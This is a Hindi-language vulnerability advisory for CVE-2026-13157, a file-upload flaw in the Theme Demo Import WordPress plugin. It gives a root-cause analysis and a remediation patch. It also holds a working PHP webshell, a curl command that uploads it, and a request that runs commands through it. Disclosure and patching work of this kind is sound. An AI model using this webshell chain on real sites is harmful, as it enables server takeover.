
WordPress Theme Demo Import में प्रमाणित मनमाना फ़ाइल अपलोड के लिए प्रूफ-ऑफ-कॉन्सेप्ट और मूल कारण विश्लेषण, जो PHP वेबशैल के माध्यम से रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है।
CVE-2026-13157 एक प्रमाणित (authenticated) मनमाना फ़ाइल अपलोड भेद्यता है जो Theme Demo Import WordPress प्लगइन के संस्करण 1.1.3 और उससे पहले के संस्करणों को प्रभावित करती है। इसे साइबर सुरक्षा शोधकर्ता Huynh Kien Minh (MinhHK) द्वारा खोजा और विश्लेषित किया गया है। यह भेद्यता AJAX डेमो आयात रूटीन (TDI_import_demo_data) में मौजूद है, जहाँ प्लगइन अपलोड प्रक्रिया के दौरान WordPress की मानक फ़ाइल-प्रकार सत्यापन जाँचों ('test_type' => false) को स्पष्ट रूप से अक्षम कर देता है। आयात क्षमताओं वाला एक प्रमाणित उपयोगकर्ता—जैसे कि डिफ़ॉल्ट साइट व्यवस्थापक या WordPress Multisite आर्किटेक्चर में एक गैर-सुपर-एडमिन साइट व्यवस्थापक—फ़ाइल प्रतिबंध प्रवर्तन को बायपास करके सार्वजनिक wp-content/uploads/ निर्देशिका में सीधे मनमानी निष्पादन योग्य PHP स्क्रिप्ट अपलोड कर सकता है, जिससे स्थायी रिमोट कोड निष्पादन (RCE) और पूर्ण सर्वर समझौता प्राप्त होता है।
CVE-2026-13157 का मूल कारण inc/class-tdi-helpers.php में लागू फ़ाइल अपलोड हैंडलिंग आर्किटेक्चर में निहित है। डेमो डेटा आयात संचालन के दौरान, प्लगइन inc/class-tdi-main.php में पंक्ति 55 पर पंजीकृत AJAX एंडपॉइंट के माध्यम से आने वाले फ़ाइल अनुलग्नकों को संभालता है:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
अपलोड की गई डेमो कॉन्फ़िगरेशन फ़ाइलों (content_file, widget_file, और customizer_file) को संसाधित करते समय, आंतरिक आयात विधि WordPress wp_handle_upload() API को फ़ाइल mime-प्रकार और फ़ॉर्म सत्यापन जाँचों को बायपास करने का सीधा निर्देश देती है:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
$upload_overrides में 'test_type' => false पास करके, डेवलपर ने WordPress कोर MIME सत्यापन उपप्रणाली (wp_check_filetype_and_ext()) को ओवरराइड कर दिया। इसके सीधे परिणामस्वरूप, एप्लिकेशन अब फ़ाइल अनुलग्नकों को सुरक्षित डेमो डेटा प्रारूपों (.xml, .json, .wie, .dat) तक सीमित नहीं रखता, जिससे सेटिंग्स पृष्ठ तक पहुँच रखने वाला कोई भी प्रमाणित उपयोगकर्ता निष्पादन योग्य PHP स्क्रिप्ट (.php, .phtml, .phar) सीधे सार्वजनिक दस्तावेज़ रूट में अपलोड कर सकता है।
नैतिक अनुसंधान अस्वीकरण: यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक ऑडिटिंग, रक्षात्मक इंजीनियरिंग और अधिकृत सुरक्षा सत्यापन के लिए प्रलेखित है। लाइव सिस्टम का अनधिकृत शोषण निषिद्ध है।
<= 1.1.3 चलाने वाला WordPress इंस्टेंस।import क्षमताओं वाला प्रमाणित सत्र (Admin / Multisite Site Admin)।tdi-ajax-verification निकालें (पृष्ठ DOM में JavaScript ऑब्जेक्ट गुण tdi.ajax_nonce के रूप में /wp-admin/themes.php?page=theme-demo-import पर उजागर)।exploit_webshell.php शीर्षक वाला एक स्थानीय वेब शेल पेलोड बनाएँ:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
जबकि सिंगल-साइट WordPress इंस्टॉलेशन मानक व्यवस्थापकों को सर्वर वातावरण पर विश्वसनीय नियंत्रण प्रदान करते हैं, CVE-2026-13157 एंटरप्राइज़ और Multisite परिनियोजनों में महत्वपूर्ण सुरक्षा सीमाओं के पतन का परिचय देता है:
unfiltered_upload क्षमता केवल Network Super Admins के लिए आरक्षित है)। CVE-2026-13157 इस मल्टी-टेनेंट टेनेंट अलगाव को पूरी तरह से तोड़ देता है, जिससे एक असत्यापित उप-साइट व्यवस्थापक वेब शेल गिराकर पूरे सर्वर नेटवर्क पर सिस्टम कमांड निष्पादित कर सकता है।DISALLOW_FILE_EDIT) को अक्षम करते हैं। यह भेद्यता प्लगइन के मूल फ़ाइल स्थानांतरण तंत्र का लाभ उठाकर लिखने योग्य वॉल्यूम स्टोरेज में सीधे मनमाना निष्पादन योग्य कोड लिखकर होस्टिंग प्रतिबंधों को दरकिनार कर देती है।CVE-2026-13157 को सुरक्षित रूप से हल करने के लिए, सॉफ़्टवेयर अनुरक्षकों और रक्षात्मक इंजीनियरों को inc/class-tdi-helpers.php में अपलोड हैंडलिंग तर्क के भीतर तुरंत कड़ी MIME-प्रकार और फ़ाइल एक्सटेंशन सत्यापन बहाल करना चाहिए।
असुरक्षित ओवरराइड 'test_type' => false हटाएँ और मानक WordPress निर्यात संरचनाओं (text/xml, application/json) तक सख्ती से सीमित एक कठोर अनुमतिसूची लागू करें:
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
'test_form' => false,
'test_type' => true, // Enforce strict core file-type verification
'mimes' => array(
'xml' => 'text/xml',
'json' => 'application/json',
'wie' => 'application/json',
'dat' => 'text/plain',
),
);
// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}
// Proceed with validated file handling
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Huynh Kien Minh (MinhHK) एक सूचना सुरक्षा शोधकर्ता, सॉफ़्टवेयर डेवलपर और भेद्यता विश्लेषक हैं, जो आक्रामक वेब एप्लिकेशन सुरक्षा, PHP एप्लिकेशन आर्किटेक्चर ऑडिटिंग और एंटरप्राइज़ शोषण वैक्टर में विशेषज्ञता रखते हैं। उनकी खोजों और तकनीकी सलाहों को प्रमुख वैश्विक भेद्यता डेटाबेस और उत्पाद सुरक्षा नामकरण प्राधिकरणों द्वारा औपचारिक रूप से मान्यता दी गई है।
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
"headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
"alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"inLanguage": "en-US",
"description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
"keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
},
{
"@type": "SecurityAdvisory",
"@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
"identifier": "CVE-2026-13157",
"name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
"category": "Arbitrary File Upload / RCE",
"cvssScore": "6.6",
"severity": "Medium",
"softwareVersion": "<= 1.1.3",
"url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
}
]
}
| पैरामीटर | तकनीकी विशिष्टता |
|---|
| भेद्यता पहचानकर्ता | CVE-2026-13157 |
| लक्षित सॉफ़्टवेयर | Theme Demo Import (WordPress प्लगइन) |
| प्लगइन स्लग | theme-demo-import |
| प्रभावित संस्करण | <= 1.1.3 |
| भेद्यता वर्ग | खतरनाक प्रकार की फ़ाइल का अनियंत्रित अपलोड (CWE-434 / OWASP A03) |
| CVSS v3.1 स्कोर | 6.6 (मध्यम) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| खोजकर्ता / शोधकर्ता | Huynh Kien Minh (MinhHK) |
| सत्यापन प्राधिकरण | WPScan / MITRE Corporation |
| WPScan सलाहकार URL | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| शोधकर्ता पोर्टफोलियो | https://minhhk.web.app/ |